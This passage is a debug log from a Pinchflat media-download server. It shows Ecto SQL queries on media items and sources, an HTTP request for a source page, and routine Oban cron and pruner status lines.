m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:35:51.678 [debug] QUERY OK source="sources" db=0.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 17:35:51.679 [debug] QUERY OK source="media_items" db=0.3ms idle=6.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:35:51.680 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:35:51.680 [debug] QUERY OK source="sources" db=0.0ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:35:51.681 [info] Sent 200 in 15ms 17:36:00.431 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:21.075 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:51.077 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.432 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:21.078 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:51.079 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.433 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:21.080 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:51.082 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.434 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:21.083 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:51.085 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.435 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:21.086 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:51.087 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.436 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:21.088 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:51.089 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.437 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:21.090 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:51.092 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.439 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:21.094 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:51.095 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.440 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:21.096 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:51.097 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.440 [info] {"source":"oban","duration":192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:21.099 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:51.100 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.441 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:21.101 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:51.102 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.442 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:21.104 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:51.105 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.443 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:21.106 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:51.107 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.444 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:21.109 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:51.110 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.445 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:21.111 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:51.112 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.446 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:21.113 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:51.114 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.447 [info] {"source":"oban","duration":114,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:21.115 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:51.116 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.448 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:21.117 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:51.118 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.450 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:21.119 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:51.120 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.450 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:21.121 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:51.122 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.451 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:21.123 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:51.124 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.452 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:21.125 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:51.127 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.454 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:21.128 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:51.130 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.454 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:21.131 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:51.132 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.455 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:00:21.134 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:51.135 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.456 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:21.136 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:51.137 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.457 [info] {"source":"oban","duration":170,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:21.138 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:51.140 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.458 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:21.142 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:51.144 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.460 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:21.145 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:51.147 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.461 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:21.149 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:51.150 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.461 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:21.151 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:51.152 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.463 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:21.153 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:51.154 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.463 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:21.156 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:51.157 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.464 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:21.158 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:51.160 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.465 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:21.162 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:51.163 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.466 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:21.164 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:51.165 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.468 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:21.166 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:51.168 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.468 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:21.170 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:51.172 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.469 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:21.174 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:51.175 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.470 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:21.176 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:51.177 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.471 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:21.180 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:51.181 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.473 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:21.183 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:51.184 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.473 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:21.185 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:51.187 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.475 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:21.189 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:51.190 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.475 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:21.191 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:51.193 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.476 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:21.194 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:51.197 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.477 [info] {"source":"oban","duration":88,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:21.199 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:51.201 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.479 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:21.202 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:51.203 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.480 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:21.205 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:51.207 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.481 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:21.208 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:51.210 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.481 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:21.212 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:51.213 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.483 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:21.214 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:51.215 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.484 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:21.217 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:51.218 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.484 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:21.219 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:51.220 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.486 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:21.221 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:51.223 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.486 [info] {"source":"oban","duration":210,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:21.225 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:51.226 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.488 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:21.227 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:51.229 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.489 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:21.230 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:51.232 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.490 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:21.233 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:51.234 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.491 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:21.236 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:51.239 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.492 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:21.241 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:51.242 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.493 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:21.245 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:51.246 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.494 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:21.248 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:51.249 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.495 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:21.250 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:51.253 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.496 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:21.254 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:38.978 [info] GET /sources/1 18:40:38.978 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:40:38.978 [debug] QUERY OK source="sources" db=0.2ms idle=578.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 